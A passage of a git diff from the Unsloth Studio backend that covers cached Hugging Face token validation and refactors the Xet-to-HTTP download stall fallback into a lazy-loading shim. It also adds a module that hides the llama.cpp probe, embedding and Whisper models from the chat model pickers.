+    sending duplicate ``whoami`` requests for the same token.
+    """
+    normalized = token.strip()
+    if not normalized:
+        return TokenValidationResult(status = "invalid")
+    token_fingerprint = _fingerprint(normalized)
+    owner_event: threading.Event | None = None
+
+    try:
+        while True:
+            now = time.monotonic()
+            with _lock:
+                cached = _cached_locked(token_fingerprint, now)
+                if cached is not None:
+                    return cached
+                waiting = _inflight.get(token_fingerprint)
+                if waiting is None:
+                    limited = _reserve_attempt_locked(rate_key, now)
+                    if limited is not None:
+                        return limited
+                    owner_event = threading.Event()
+                    _inflight[token_fingerprint] = owner_event
+                    break
+            if not waiting.wait(_INFLIGHT_WAIT_SECONDS):
+                return TokenValidationResult(status = "unavailable")
+
+        result = _check_remote(normalized)
+        now = time.monotonic()
+        ttl = (
+            _CACHE_TTL_SECONDS
+            if result.status in ("valid", "invalid")
+            else max(_TEMPORARY_CACHE_TTL_SECONDS, float(result.retry_after_seconds or 0))
+        )
+        with _lock:
+            if len(_cache) >= _MAX_CACHE_ENTRIES:
+                _prune_locked(now)
+            if len(_cache) < _MAX_CACHE_ENTRIES:
+                _cache[token_fingerprint] = (now + ttl, result)
+        return result
+    finally:
+        if owner_event is not None:
+            with _lock:
+                event = _inflight.get(token_fingerprint)
+                if event is owner_event:
+                    _inflight.pop(token_fingerprint, None)
+                    event.set()
+
+
+def reset_hf_token_validation_state() -> None:
+    """Clear process state for test isolation."""
+    with _lock:
+        for event in _inflight.values():
+            event.set()
+        _inflight.clear()
+        _attempts.clear()
+        _cache.clear()
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
index 15961ac03a..49872f371e 100644
--- a/studio/backend/utils/hf_xet_fallback.py
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -1,341 +1,295 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Xet-primary HF downloads with an automatic HTTP fallback on a no-progress stall.
+"""Unsloth shim over the shared ``unsloth_zoo.hf_xet_fallback`` Xet -> HTTP stall fallback.
 
-Xet (``hf_xet``) is the fast default but can hang with no progress and no
-exception, and a blocked native thread cannot be killed. Keep Xet primary; fall
-back to plain HTTP only when the parent observes a stall. ``HF_HUB_DISABLE_XET``
-is read at import time, so the fallback runs in a fresh ``spawn`` child (not a
-thread) that sets the env before importing ``huggingface_hub``. Cached files
-short-circuit with no child; deterministic errors (401/403/404/disk-full) and
-cancellation propagate without a fallback. Mirrors the safetensors inference
-recovery in core/inference/{orchestrator,worker}.py.
+Re-exports the shared API and injects Unsloth's marker-aware cache purge
+(``prepare_cache_for_transport``) so the download manager keeps its ``.transport``
+marker semantics on the HTTP retry.
+
+Import discipline: ``unsloth_zoo``'s ``__init__`` eagerly imports ``transformers``. The workers
+import this shim at startup (to decide the per-worker Xet env flip) *before* activating the model's
+``transformers`` sidecar. Activation only prepends the sidecar to ``sys.path``, so a ``transformers``
+already cached in ``sys.modules`` (via an eager ``unsloth_zoo`` import here) wins -- pinning the
+default 4.57.x and regressing Qwen3.5 / GLM-4.7 / gemma-4 training with
+``Tokenizer class TokenizersBackend does not exist``. So the shared backend is loaded **lazily**
+(``_load_shared``), only on first use of a heavy download helper, i.e. after the sidecar is active.
+``child_should_disable_xet`` and the ``DEFAULT_*`` constants are defined locally so importing them
+never triggers the heavy load.
 """
 
 from __future__ import annotations
 
-import multiprocessing as mp
-import os
-import queue
-import signal
-import sys
 import threading
-import time
+from functools import partial
+from pathlib import Path
 from typing import Any, Callable, Optional
 
-from loggers import get_logger
-
-logger = get_logger(__name__)
-
-_CTX = mp.get_context("spawn")
-
-# Defaults match the existing inference watchdog and hub shutdown deadline.
+# Defaults mirror unsloth_zoo.hf_xet_fallback; plain literals so they resolve (including as
+# default args below) without importing unsloth_zoo/transformers.
+DEFAULT_GRACE_PERIOD = 10.0
 DEFAULT_HEARTBEAT_INTERVAL = 30.0
 DEFAULT_STALL_TIMEOUT = 180.0
-DEFAULT_GRACE_PERIOD = 10.0
-_POLL_INTERVAL = 0.5
+
+# --- lazy shared-backend loader ----------------------------------------------------------------
+_shared: Any = None
+_shared_available: Optional[bool] = None  # None = not yet attempted
+_shared_import_error: Optional[BaseException] = None
+_load_lock = threading.Lock()
 
 
-class DownloadStallError(RuntimeError):
-    """Raised when no download progress is observed for too long.
+def _load_shared() -> bool:
+    """Import ``unsloth_zoo.hf_xet_fallback`` on demand; return True if available. Deferred so
+    importing this module at worker startup does not pull transformers in before the sidecar is
+    activated. Degrades (returns False) rather than crashing when unsloth_zoo is unavailable."""
+    global _shared, _shared_available, _shared_import_error
+    if _shared_available is not None:
+        return _shared_available
+    with _load_lock:
+        if _shared_available is not None:
+            return _shared_available
+        try:
+            import unsloth_zoo.hf_xet_fallback as shared
 
-    Canonical home; orchestrator.py re-imports it so all paths share one type.
-    """
+            _shared = shared
+            _shared_available = True
+            _shared_import_error = None
+            return True
+        except Exception as exc:  # noqa: BLE001 - any import failure must degrade, not crash
+            # unsloth_zoo's __init__ runs torch/GPU detection, which raises on a torch-less/GPU-less
+            # host. The download helper needs none of it, so retry via UNSLOTH_ZOO_DISABLE_GPU_INIT.
+            _shared_import_error = exc
+            import os as _os
+
+            _prev_gpu_init = _os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT")
+            _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = "1"
+            try:
+                import unsloth_zoo.hf_xet_fallback as shared
+
+                _shared = shared
+                _shared_available = True
+                _shared_import_error = None
+                return True
+            except Exception as exc2:  # noqa: BLE001 - degrade so Unsloth still boots with plain HF
+                _shared_import_error = exc2
+                _shared_available = False
+                import logging as _logging
+
+                _logging.getLogger(__name__).warning(
+                    "unsloth_zoo.hf_xet_fallback unavailable (%s); the Xet stall watchdog is "
+                    "disabled. Install/upgrade unsloth_zoo (and its torch dependency) to "
+                    "re-enable automatic Xet -> HTTP download recovery.",
+                    _shared_import_error,
+                )
+                return False
+            finally:
+                if _prev_gpu_init is None:
+                    _os.environ.pop("UNSLOTH_ZOO_DISABLE_GPU_INIT", None)
+                else:
+                    _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = _prev_gpu_init
 
 
 def child_should_disable_xet(config: dict) -> bool:
-    """Single source of truth for the per-worker Xet env flip."""
+    """Single source of truth for the per-worker Xet env flip (mirrors
+    ``unsloth_zoo.hf_xet_fallback.child_should_disable_xet``). Deliberately lightweight: importing or
+    calling it must NOT pull in unsloth_zoo/transformers, so the worker can decide before activating
+    the transformers sidecar (see the module docstring)."""
     return bool(config.get("disable_xet"))
 
 
-def get_hf_download_state(
-    repo_ids: Optional[list[str]] = None, *, repo_type: str = "model"
-) -> Optional[tuple[int, bool]]:
-    """Return ``(total_on_disk_bytes, has_incomplete)`` for the active HF cache.
-
-    Sparse-aware (st_blocks based) so a sparse Xet/``hf_transfer`` ``.incomplete``
-    is not mistaken for full-size progress. ``None`` means the state could not be
-    measured, so callers skip stall logic for that tick.
-    """
-    try:
-        from hub.utils.hf_cache_state import (
-            blob_bytes_present,
-            has_active_incomplete_blobs,
-            hf_cache_root,
-            iter_active_repo_cache_dirs,
-        )
-
-        if hf_cache_root() is None:
-            return (0, False)
-
-        total = 0
-        has_incomplete = False
-        for repo_id in repo_ids or []:
-            # Skip local paths: HF IDs never start with / . ~ or contain "\".
-            if not repo_id or repo_id.startswith(("/", ".", "~")) or "\\" in repo_id:
-                continue
-            for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
-                blobs_dir = entry / "blobs"
-                if not blobs_dir.is_dir():
-                    continue
-                for blob in blobs_dir.iterdir():
-                    try:
-                        if blob.is_file():
-                            total += blob_bytes_present(blob)
-                    except OSError:
-                        pass
-            if has_active_incomplete_blobs(repo_type, repo_id):
-                has_incomplete = True
-        return (total, has_incomplete)
-    except Exception as e:
-        logger.debug("Failed to determine HF download state: %s", e)
-        return None
+# --- degraded stubs (used only when unsloth_zoo is unavailable) -------------------------------
+class _DegradedDownloadStallError(RuntimeError):
+    """Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode."""
 
 
-def start_watchdog(
+def _degraded_get_hf_download_state(*args: Any, **kwargs: Any) -> None:
+    return None  # unmeasurable -> the (absent) watchdog never fires
+
+
+def _degraded_start_watchdog(
     *,
-    repo_ids: list[str],
-    on_stall: Callable[[str], None],
-    repo_type: str = "model",
+    on_heartbeat: "Optional[Callable[[str], None]]" = None,
     interval: float = DEFAULT_HEARTBEAT_INTERVAL,
-    stall_timeout: float = DEFAULT_STALL_TIMEOUT,
     xet_disabled: bool = False,
-    on_heartbeat: Optional[Callable[[str], None]] = None,
-) -> threading.Event:
-    """Start a daemon thread that fires ``on_stall(message)`` exactly once iff a
-    ``*.incomplete`` is present AND the on-disk size is unchanged for
-    *stall_timeout* seconds. The timer resets while no ``*.incomplete`` exists, so
-    post-download init is never misread as a stall. Returns a stop event the
-    caller sets when the download phase ends.
-    """
+    **kwargs: Any,
+) -> "threading.Event":
+    # No stall detection, but keep emitting heartbeats so the orchestrator's inactivity deadline
+    # is not tripped during a long download.
     stop = threading.Event()
+    if on_heartbeat is None:
+        return stop
     transport = "https" if xet_disabled else "xet"
-    fired = False
 
     def _beat() -> None:
-        nonlocal fired
-        state = get_hf_download_state(repo_ids, repo_type = repo_type)
-        last_size = state[0] if state is not None else 0
-        last_change = time.monotonic()
-
         while not stop.wait(interval):
-            state = get_hf_download_state(repo_ids, repo_type = repo_type)
-            now = time.monotonic()
-
-            if state is None:
-                if on_heartbeat is not None:
-                    on_heartbeat(f"Downloading ({transport} transport)...")
-                continue
-
-            current_size, has_incomplete = state
-            if current_size != last_size:
-                last_size = current_size
-                last_change = now
-
-            # Reset unless .incomplete confirms an active download, so model init
-            # and lock waits are not counted as a stall.
-            if not has_incomplete:
-                last_change = now
-            elif now - last_change >= stall_timeout:
-                if not fired:
-                    fired = True
-                    on_stall(
-                        f"Download appears stalled ({transport} transport) "
-                        f"-- no progress for {int(now - last_change)}s"
-                    )
-                return
-
-            if on_heartbeat is not None:
+            try:
                 on_heartbeat(f"Downloading ({transport} transport)...")
+            except Exception:
+                pass
 
-    threading.Thread(target = _beat, daemon = True, name = "hf-xet-watchdog").start()
+    threading.Thread(
+        target = _beat,
+        daemon = True,
+        name = "hf-xet-degraded-heartbeat",
+    ).start()
     return stop
 
 
-def _download_child_entry(
-    *,
-    repo_id: str,
-    filename: str,
-    token: Optional[str],
-    repo_type: str,
-    disable_xet: bool,
-    result_queue: Any,
-    force_download: bool = False,
-) -> None:
-    """Spawn-child entrypoint: download one file and report the result.
-
-    Top-level and picklable. Sets the Xet env BEFORE importing huggingface_hub,
-    forms its own process group so the parent can kill the whole transfer, and
-    never logs the token or signed URLs.
-    """
-    # Die with Studio on Linux (this mp child gets no parent-set preexec_fn).
-    try:
-        from utils.process_lifetime import bind_current_process_to_parent_lifetime
-        bind_current_process_to_parent_lifetime()
-    except Exception:
-        pass
-
-    if hasattr(os, "setsid"):
-        try:
-            os.setsid()
-        except OSError:
-            pass
-
-    if disable_xet:
-        os.environ["HF_HUB_DISABLE_XET"] = "1"
-        # Keep the HTTP writer sequential and resumable (hf_transfer leaves sparse
-        # partials a sequential resume cannot safely continue).
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
-    os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
-
-    # Test-only fault injection (never set in production): stall the Xet attempt
-    # so the watchdog + HTTP fallback can be exercised against a real repo.
-    if not disable_xet and os.environ.get("UNSLOTH_HF_XET_FORCE_STALL") == "1":
-        import time as _t
-        try:
-            from huggingface_hub.constants import HF_HUB_CACHE
-
-            blobs = os.path.join(HF_HUB_CACHE, "models--" + repo_id.replace("/", "--"), "blobs")
-            os.makedirs(blobs, exist_ok = True)
-            with open(os.path.join(blobs, "xet-force-stall.incomplete"), "wb") as fh:
-                fh.write(b"\0" * 4096)
-        except OSError:
-            pass
-        while True:
-            _t.sleep(3600)
-
-    try:
-        from huggingface_hub import hf_hub_download
-        path = hf_hub_download(
-            repo_id = repo_id,
-            filename = filename,
-            repo_type = repo_type,
-            token = token,
-            force_download = force_download,
-        )
-        result_queue.put({"ok": True, "path": path})
-    except BaseException as e:  # noqa: BLE001 - report every failure to the parent
-        error = f"{type(e).__name__}: {e}"
-        try:
-            from hub.utils.download_registry import scrub_secrets
-            error = scrub_secrets(error, hf_token = token)
-        except Exception:
-            pass
-        result_queue.put({"ok": False, "error": error})
+def _degraded_cancelled(cancel_event: "Optional[threading.Event]") -> bool:
+    return cancel_event is not None and cancel_event.is_set()
 
 
-def _terminate_process_group(proc: "mp.process.BaseProcess", grace_period: float) -> None:
-    """Kill *proc* and its whole process group (Xet may spawn helper procs).
-
-    The child calls ``os.setsid()`` so its pgid equals its pid; signal via
-    ``os.killpg(pid, ...)`` -- NOT ``getpgid``, which before the child becomes a
-    group leader resolves to OUR group. SIGTERM, then SIGKILL after *grace_period*.
-    """
-    pid = proc.pid
-
-    def _signal_group(sig: int) -> None:
-        if pid is not None and hasattr(os, "killpg"):
-            try:
-                os.killpg(pid, sig)
-                return
-            except (ProcessLookupError, PermissionError, OSError):
-                pass
-        # Windows or pre-setsid: best effort on the single process.
-        try:
-            proc.terminate() if sig != getattr(signal, "SIGKILL", -9) else proc.kill()
-        except Exception:
-            pass
-
-    _signal_group(getattr(signal, "SIGTERM", signal.SIGINT))
-    proc.join(timeout = grace_period)
-    if proc.is_alive():
-        _signal_group(getattr(signal, "SIGKILL", signal.SIGTERM))
-        proc.join(timeout = 5.0)
-
-
-def _run_download_attempt(
+def _degraded_hf_hub_download_with_xet_fallback(
     repo_id: str,
     filename: str,
     token: Optional[str],
     *,
-    repo_type: str,
-    disable_xet: bool,
-    cancel_event: Optional[threading.Event],
-    stall_timeout: float,
-    interval: float,
-    grace_period: float,
-    on_status: Optional[Callable[[str], None]],
+    repo_type: str = "model",
+    revision: Optional[str] = None,
+    cache_dir: Optional[str] = None,
     force_download: bool = False,
-) -> tuple[str, Optional[str]]:
-    """Run one download in a spawn child supervised by the no-progress watchdog.
+    cancel_event: "Optional[threading.Event]" = None,
+    **_ignored: Any,
+) -> str:
+    # Keep the cancellation contract: do not start or return a download once cancelled.
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
 
-    Returns ``("ok", path)``, ``("stall", None)``, ``("cancelled", None)``, or
-    ``("error", message)``. This is the seam tests monkeypatch to avoid spawning.
-    """
-    result_queue: Any = _CTX.Queue()
-    proc = _CTX.Process(
-        target = _download_child_entry,
-        kwargs = dict(
-            repo_id = repo_id,
-            filename = filename,
-            token = token,
-            repo_type = repo_type,
-            disable_xet = disable_xet,
-            result_queue = result_queue,
-            force_download = force_download,
-        ),
-        daemon = True,
-    )
-    proc.start()
-    from utils.process_lifetime import adopt_pid
+    from huggingface_hub import hf_hub_download
 
-    adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
-
-    stalled = threading.Event()
-    stop_watchdog = start_watchdog(
-        repo_ids = [repo_id],
-        on_stall = lambda msg: stalled.set(),
+    path = hf_hub_download(
+        repo_id = repo_id,
+        filename = filename,
+        token = token,
         repo_type = repo_type,
-        interval = interval,
-        stall_timeout = stall_timeout,
-        xet_disabled = disable_xet,
-        on_heartbeat = on_status,
+        revision = revision,
+        cache_dir = cache_dir,
+        force_download = force_download,
     )
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+    return path
 
-    result: Optional[dict] = None
+
+def _degraded_snapshot_download_with_xet_fallback(
+    repo_id: str,
+    *,
+    revision: Optional[str] = None,
+    token: Optional[str] = None,
+    repo_type: str = "model",
+    cache_dir: Optional[str] = None,
+    allow_patterns: Optional[Any] = None,
+    ignore_patterns: Optional[Any] = None,
+    force_download: bool = False,
+    cancel_event: "Optional[threading.Event]" = None,
+    **_ignored: Any,
+) -> str:
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+
+    from huggingface_hub import snapshot_download
+
+    path = snapshot_download(
+        repo_id = repo_id,
+        repo_type = repo_type,
+        revision = revision,
+        token = token,
+        cache_dir = cache_dir,
+        allow_patterns = allow_patterns,
+        ignore_patterns = ignore_patterns,
+        force_download = force_download,
+    )
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+    return path
+
+
+# --- lazy attribute access for the heavy shared API -------------------------------------------
+# ``DownloadStallError`` (class identity matters for ``except``), ``start_watchdog`` and
+# ``get_hf_download_state`` come from the shared backend when available, else the degraded stubs.
+# Resolved via PEP 562 ``__getattr__`` so ``from utils.hf_xet_fallback import X`` triggers the load
+# only for these heavy names, not for ``child_should_disable_xet`` / ``DEFAULT_*``.
+_DEGRADED_ATTRS = {
+    "DownloadStallError": _DegradedDownloadStallError,
+    "start_watchdog": _degraded_start_watchdog,
+    "get_hf_download_state": _degraded_get_hf_download_state,
+}
+
+# Annotation-only declarations for the three names above: they bind NO value, so lookup still misses
+# and PEP 562 ``__getattr__`` resolves them lazily -- but ruff/pyflakes see them as defined, so listing
+# them in ``__all__`` does not trip F822 (while F822 still catches a real typo elsewhere in the list).
+DownloadStallError: type
+start_watchdog: Any
+get_hf_download_state: Any
+
+
+def __getattr__(name: str) -> Any:
+    if name in _DEGRADED_ATTRS:
+        if _load_shared():
+            return getattr(_shared, name)
+        return _DEGRADED_ATTRS[name]
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
+# Indirection seam the public wrappers call (and tests monkeypatch): lazy-load the shared backend,
+# then dispatch to it or the degraded stub. The ``_shared_*`` names preserve the pre-refactor contract.
+def _shared_hf_hub_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str:
+    impl = (
+        _shared.hf_hub_download_with_xet_fallback
+        if _load_shared()
+        else _degraded_hf_hub_download_with_xet_fallback
+    )
+    return impl(*args, **kwargs)
+
+
+def _shared_snapshot_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str:
+    impl = (
+        _shared.snapshot_download_with_xet_fallback
+        if _load_shared()
+        else _degraded_snapshot_download_with_xet_fallback
+    )
+    return impl(*args, **kwargs)
+
+
+__all__ = [
+    "DEFAULT_GRACE_PERIOD",
+    "DEFAULT_HEARTBEAT_INTERVAL",
+    "DEFAULT_STALL_TIMEOUT",
+    "DownloadStallError",
+    "child_should_disable_xet",
+    "get_hf_download_state",
+    "start_watchdog",
+    "hf_hub_download_with_xet_fallback",
+    "snapshot_download_with_xet_fallback",
+]
+
+
+def _studio_prepare_for_http(
+    repo_type: str,
+    repo_id: str,
+    *,
+    cache_dir: Optional[str] = None,
+) -> None:
+    """Unsloth's marker-aware purge before an HTTP resume, keeping the download manager's ``.transport``
+    accounting consistent (vs unsloth_zoo's generic default). Guarded: a purge failure is logged,
+    not fatal to the retry."""
     try:
-        while proc.is_alive():
-            if cancel_event is not None and cancel_event.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("cancelled", None)
-            if stalled.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("stall", None)
-            try:
-                result = result_queue.get(timeout = _POLL_INTERVAL)
-                break
-            except queue.Empty:
-                continue
-        else:
-            # Process exited; drain any result it enqueued.
-            try:
-                result = result_queue.get_nowait()
-            except queue.Empty:
-                result = None
-    finally:
-        stop_watchdog.set()
-        proc.join(timeout = grace_period)
-
-    if result is None:
-        return (
-            "error",
-            f"download process for '{repo_id}/{filename}' exited "
-            f"(code={proc.exitcode}) without a result",
+        from hub.utils.download_registry import prepare_cache_for_transport
+        prepare_cache_for_transport(
+            repo_type,
+            repo_id,
+            "http",
+            root = Path(cache_dir) if cache_dir else None,
         )
-    if result.get("ok"):
-        return ("ok", result["path"])
-    return ("error", result.get("error") or "unknown download error")
+    except Exception as exc:
+        try:
+            from loggers import get_logger
+            get_logger(__name__).debug(
+                "Unsloth prepare_cache_for_transport failed for %s: %s", repo_id, exc
+            )
+        except ModuleNotFoundError as logger_exc:
+            if logger_exc.name != "loggers":
+                raise
 
 
 def hf_hub_download_with_xet_fallback(
@@ -345,83 +299,43 @@ def hf_hub_download_with_xet_fallback(
     *,
     cancel_event: Optional[threading.Event] = None,
     repo_type: str = "model",
+    revision: Optional[str] = None,
     stall_timeout: float = DEFAULT_STALL_TIMEOUT,
     interval: float = DEFAULT_HEARTBEAT_INTERVAL,
     grace_period: float = DEFAULT_GRACE_PERIOD,
     on_status: Optional[Callable[[str], None]] = None,
     force_download: bool = False,
+    cache_dir: Optional[str] = None,
 ) -> str:
-    """Download a single file with Xet primary and HTTP as a stall-only fallback.
+    """Single-file download via the shared fallback with Unsloth's marker-aware HTTP-retry prep.
+    ``force_download`` re-fetches a newer blob over a cached one (Unsloth's model-update path)."""
+    if cache_dir is None:
+        from utils.hf_cache_settings import get_hf_cache_paths
+        cache_dir = str(get_hf_cache_paths().hub_cache)
+    return _shared_hf_hub_download_with_xet_fallback(
+        repo_id,
+        filename,
+        token,
+        cancel_event = cancel_event,
+        repo_type = repo_type,
+        revision = revision,
+        stall_timeout = stall_timeout,
+        interval = interval,
+        grace_period = grace_period,
+        on_status = on_status,
+        force_download = force_download,
+        cache_dir = cache_dir,
+        prepare_for_http_fn = partial(_studio_prepare_for_http, cache_dir = cache_dir),
+    )
 
-    Returns the local cache path. Raises ``RuntimeError("Cancelled")`` if
-    *cancel_event* is set, re-raises a deterministic child error unchanged (no
-    fallback), and raises ``DownloadStallError`` only if BOTH transports stall.
 
-    When *force_download* is True the cache-first early-return is skipped and the
-    flag is threaded to ``hf_hub_download`` so a newer remote blob is re-fetched
-    even if an older blob is already cached.
-    """
-    # Finalized blob already cached: return it with no child and no network.
-    # Skipped when force_download is set so an update re-fetches a newer blob.
-    if not force_download:
-        try:
-            from huggingface_hub import try_to_load_from_cache
-            cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type)
-            if isinstance(cached, str) and os.path.exists(cached):
-                return cached
-        except Exception as e:
-            logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e)
-
-    if cancel_event is not None and cancel_event.is_set():
-        raise RuntimeError("Cancelled")
-
-    disable_xet = False
-    for attempt in range(2):
-        if disable_xet:
-            # Purge a non-HTTP partial before resuming over HTTP: an HTTP resume
-            # over a sparse Xet/hf_transfer partial silently corrupts the blob.
-            try:
-                from hub.utils.download_registry import prepare_cache_for_transport
-                prepare_cache_for_transport(repo_type, repo_id, "http")
-            except Exception as e:
-                logger.debug("prepare_cache_for_transport failed for %s: %s", repo_id, e)
-
-        kind, payload = _run_download_attempt(
-            repo_id,
-            filename,
-            token,
-            repo_type = repo_type,
-            disable_xet = disable_xet,
-            cancel_event = cancel_event,
-            stall_timeout = stall_timeout,
-            interval = interval,
-            grace_period = grace_period,
-            on_status = on_status,
-            force_download = force_download,
-        )
-
-        if kind == "ok":
-            return payload  # type: ignore[return-value]
-        if kind == "cancelled":
-            raise RuntimeError("Cancelled")
-        if kind == "error":
-            # Deterministic failure: the other transport would fail identically.
-            raise RuntimeError(payload)
-        # kind == "stall"
-        if attempt == 0 and not disable_xet:
-            logger.warning(
-                "Download stalled for '%s/%s' -- retrying with HF_HUB_DISABLE_XET=1",
-                repo_id,
-                filename,
-            )
-            if on_status is not None:
-                on_status(f"{repo_id}/{filename}: Xet stalled, retrying over HTTP")
-            disable_xet = True
-            continue
-        raise DownloadStallError(
-            f"Download stalled for '{repo_id}/{filename}' even with "
-            f"HF_HUB_DISABLE_XET=1 -- check your network connection"
-        )
-
-    # Unreachable: the loop either returns or raises on each attempt.
-    raise DownloadStallError(f"Download failed for '{repo_id}/{filename}'")
+def snapshot_download_with_xet_fallback(repo_id: str, **kwargs: Any) -> str:
+    """Whole-repo download via the shared fallback with Unsloth's marker-aware HTTP-retry prep."""
+    if kwargs.get("cache_dir") is None:
+        from utils.hf_cache_settings import get_hf_cache_paths
+        kwargs["cache_dir"] = str(get_hf_cache_paths().hub_cache)
+    kwargs.setdefault(
+        "prepare_for_http_fn",
+        partial(_studio_prepare_for_http, cache_dir = kwargs["cache_dir"]),
+    )
+    return _shared_snapshot_download_with_xet_fallback(repo_id, **kwargs)
diff --git a/studio/backend/utils/hidden_models.py b/studio/backend/utils/hidden_models.py
new file mode 100644
index 0000000000..e7c3181d71
--- /dev/null
+++ b/studio/backend/utils/hidden_models.py
@@ -0,0 +1,202 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Infra-only model detection shared by the model routes and the hub
+inventory. Lives directly under ``utils`` (not ``utils.models``) so the hub
+cache scanner can import it without pulling in ``utils/models/__init__.py``,
+which eagerly loads the model-config/checkpoint stack, and without importing
+``routes.models`` (import-time side effects, would cycle)."""
+
+from __future__ import annotations
+
+import json
+import re
+from pathlib import Path
+from typing import Optional
+
+# Hub repo id shape ("owner/name", no leading separator); anything else is
+# treated as a local filesystem path.
+_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$")
+
+# The llama.cpp install-validation probe repo. Always hidden.
+_PROBE_REPO_ID = "ggml-org/models"
+# The probe's on-disk filename. Carries the ".gguf" so it stays specific and
+# does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.
+_PROBE_FILENAME = "stories260k.gguf"
+# Keep previously cached defaults hidden after settings changes.
+_DEFAULT_EMBEDDING_REPO_IDS = {
+    "unsloth/bge-small-en-v1.5",
+    "unsloth/bge-small-en-v1.5-GGUF",
+}
+# Local copies do not always retain the repo id. Keep a narrow basename
+# fallback for Studio's static default embedder only; configured custom repos
+# remain exact-match-only.
+_DEFAULT_EMBEDDING_PATH_BASENAMES = {"bge-small-en-v1.5"}
+# Curated Whisper dictation checkpoints (STT, never chat), hidden from the chat
+# inventory and pickers: Transformers safetensors repos (unsloth/whisper-*) and
+# their GGUF companions (unslothai/whisper-*-GGUF). Custom checkpoints are caught
+# by config below, but the GGUF companions carry a raw .bin (no config.json), so
+# they must be listed here by id or they leak into chat pickers.
+_HIDDEN_STT_REPO_IDS = frozenset(
+    {
+        "unsloth/whisper-tiny",
+        "unsloth/whisper-base",
+        "unsloth/whisper-small",
+        "unsloth/whisper-large-v3-turbo",
+        "unsloth/whisper-large-v3",
+        "unslothai/whisper-tiny-GGUF",
+        "unslothai/whisper-base-GGUF",
+        "unslothai/whisper-small-GGUF",
+        "unslothai/whisper-large-v3-turbo-GGUF",
+        "unslothai/whisper-large-v3-GGUF",
+    }
+)
+
+
+def _config_is_whisper(path: Path) -> bool:
+    """True if a config.json declares a Whisper model."""
+    try:
+        with open(path, "r", encoding = "utf-8") as file:
+            config = json.load(file)
+    except Exception:
+        return False
+    if not isinstance(config, dict):
+        return False
+    model_type = config.get("model_type")
+    if isinstance(model_type, str) and model_type.strip().lower() == "whisper":
+        return True
+    architectures = config.get("architectures")
+    return isinstance(architectures, list) and any(
+        isinstance(name, str) and name == "WhisperForConditionalGeneration"
+        for name in architectures
+    )
+
+
+def _path_is_whisper_model(value: str) -> bool:
+    """Inspect an existing local model path's config; never hides name-only matches."""
+    if _HF_REPO_ID_RE.fullmatch(value.strip()):
+        return False
+    path = Path(value).expanduser()
+    try:
+        if path.is_file():
+            path = path.parent
+        candidates = [path / "config.json"]
+        snapshots = path / "snapshots"
+        if snapshots.is_dir():
+            candidates.extend(child / "config.json" for child in snapshots.iterdir())
+    except OSError:
+        return False
+    return any(_config_is_whisper(candidate) for candidate in candidates)
+
+
+def _safe_resolve(path: Path) -> Optional[str]:
+    """resolve() to a string, or None when the path is inaccessible."""
+    try:
+        return str(path.resolve())
+    except OSError:
+        return None
+
+
+def _existing_resolved_path(value: str) -> Optional[str]:
+    """Resolve an existing local path."""
+    path = Path(value).expanduser()
+    try:
+        if not path.exists():
+            return None
+    except OSError:
+        return None
+    return _safe_resolve(path)
+
+
+def _path_contains_repo_id(value: str, repo_ids: set[str]) -> bool:
+    """Match exact repo-derived path segments."""
+    parts = [part for part in value.lower().replace("\\", "/").split("/") if part]
+    for repo_id in repo_ids:
+        owner, name = repo_id.split("/", 1)
+        if f"models--{owner}--{name}" in parts:
+            return True
+        if any(
+            parts[index] == owner and parts[index + 1] == name for index in range(len(parts) - 1)
+        ):
+            return True
+    return False
+
+
+def _path_basename_is_default_embedder(value: str) -> bool:
+    """Match a default embedder folder or a suffixed local weight filename."""
+    normalized = value.lower().replace("\\", "/").rstrip("/")
+    basename = normalized.rsplit("/", 1)[-1]
+    return any(
+        basename == needle
+        or any(basename.startswith(f"{needle}{separator}") for separator in ("-", "_", "."))
+        for needle in _DEFAULT_EMBEDDING_PATH_BASENAMES
+    )
+
+
+def is_hidden_model(*values: str | None) -> bool:
+    """True if any id/path is the RAG embedding model (the effective embedder
+    or its GGUF companion repo), the llama.cpp install validation probe
+    (ggml-org/models / stories260K), or a curated/custom Whisper dictation
+    model, so pickers hide them (GGUF and non-GGUF). None are usable chat
+    models; the probe can be cached as a side effect of installing the prebuilt
+    llama-server and otherwise sorts smallest, so it would be auto-selected.
+
+    Hub repo ids are matched EXACTLY (case-insensitive full "owner/name"), so a
+    custom embedder with a generic basename like "org/model" cannot substring
+    hide unrelated cached repos such as "user/model-chat" or "org/model-GGUF".
+    Existing paths take precedence over the identical ``owner/name`` repo
+    shape. Cache and LM Studio paths use exact repo-derived segments. Local
+    copies of the static default embedder also use a boundary-aware basename
+    fallback; configured custom repos never do."""
+    from core.rag import config as rag_config
+
+    hidden_repo_ids = {
+        _PROBE_REPO_ID.lower(),
+        *(repo_id.lower() for repo_id in _DEFAULT_EMBEDDING_REPO_IDS),
+        *(repo_id.lower() for repo_id in _HIDDEN_STT_REPO_IDS),
+    }
+    exact_paths: list[str] = []
